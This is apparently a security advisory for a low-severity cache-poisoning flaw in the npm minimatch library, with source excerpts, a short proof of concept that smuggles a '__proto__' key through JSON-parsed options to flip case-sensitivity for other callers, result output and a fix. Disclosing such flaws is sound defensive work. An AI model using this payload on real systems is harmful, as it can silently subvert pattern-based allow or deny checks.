# GHSA-3924-R96C-GP9W: Proto Key Bypasses Cache-Key Weighting in minimatch's Shared Matcher Cache

- Database: GitHub
- Severity: CVSS 3.7 (Low)
- Published: 2026-11-30
- Modified: 2026-12-01

## Tracked as

- [CVE-2026-141514](https://cve.now/CVE-2026-141514.md): minimatch: Proto Key Bypasses Cache-Key Weighting in minimatch's Shared Matcher Cache

## Affected versions

- minimatch (npm): from 11.0.6, through 11.0.9

## Description

### Summary

I found that minimatch's module-global matcher cache can be poisoned by a `__proto__` key in the `options` object passed to `minimatch()`. `optionsKey()` scores that key the same as no options at all, while `copyOptions()`'s bare `for...in` loop re-parents its copy onto the attacker's prototype instead of copying it as an own property — one caller doing this is enough to flip the cached matcher's case-sensitivity for every later, unrelated caller matching the same pattern string.


### Details

`src/index.ts:229-234`, `optionsKey()` has no `case '__proto__'`, so it falls through to `default` and contributes weight `0`:

```ts
const optionsKey = (o: MinimatchOptions): number | string => {
  for (const k in o) {
    switch (k) {
      // ... no 'case "__proto__":' branch ...
      default:
        n += (booleanWeights.get(k) ?? 0) * tri(v)
```

`src/index.ts:291-296`, `copyOptions()` copies with a plain assignment, not `Object.defineProperty`, so `__proto__` runs through the real setter instead of landing as an own key:

```ts
const copyOptions = (o?: MinimatchOptions) => {
  const copy: Record<string, unknown> = {}
  for (const k in o) copy[k] = (o as Record<string, unknown>)[k]
  return copy as MinimatchOptions
}
```

`cachedMinimatch()` (`src/index.ts:298-323`) then stores the `Minimatch` built from the poisoned `copyOptions(options)` under the key `optionsKey(options)` returns — the same key a later, option-less call will look up. Neither function has the one missing check that matters here: special-case `__proto__` before it reaches assignment.


### Proof of concept

```js
import { minimatch } from 'minimatch'

const smuggled = JSON.parse('{"__proto__":{"nocase":true}}')
// attacker's own call — nocase takes effect for them
const r1 = minimatch(file, patternLower, smuggled)
...
```

Then, with no knowledge of the call above, a second, fully-trusted caller matches the same pattern with zero options:

```js
// SEPARATE caller, SAME pattern string, DEFAULT options
const r2 = minimatch(file, patternLower)
```

## Result

```
minimatch("FOO-....TXT", "foo-....txt", smuggled) = true
minimatch("FOO-....TXT", "foo-....txt")  [no options]  = true  (expected false)
minimatch(<untouched UPPER>, <untouched lower pattern>) [no options] = false  (expected false)
cache-poisoned: true
global Object.prototype polluted: NO
```

`r2 = true` is the proof: a second, independent call with no options at all gets back the attacker's poisoned matcher. The untouched-pattern control stays `false`, and `Object.prototype` itself is never touched — this is cache poisoning, not classic global prototype pollution.


### Impact

Any process that relies on the default, process-global `minimatch()` cache to evaluate security-relevant patterns (allow/deny lists, package-name filters) loses the integrity of that decision the moment one code path builds `options` from untrusted JSON — README.md's own stated default, "compared case sensitively, unless `nocase:true` is set," breaks for a bystander caller. This is not remote code execution and not data disclosure — it's a single boolean match-outcome flip, scoped to the shared cache, that persists until the entry is evicted.

## Suggested Fix

```ts
// copyOptions(): never let __proto__ become the copy's own prototype
const copyOptions = (o?: MinimatchOptions) => {
  const copy = Object.create(null) as Record<string, unknown>
  for (const k in o) if (k !== '__proto__') copy[k] = (o as Record<string, unknown>)[k]
  return copy as MinimatchOptions
}
```

## References

- https://github.com/isaacs/minimatch/security/advisories/GHSA-3924-r96c-gp9w

Page: https://cve.now/GHSA-3924-R96C-GP9W

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
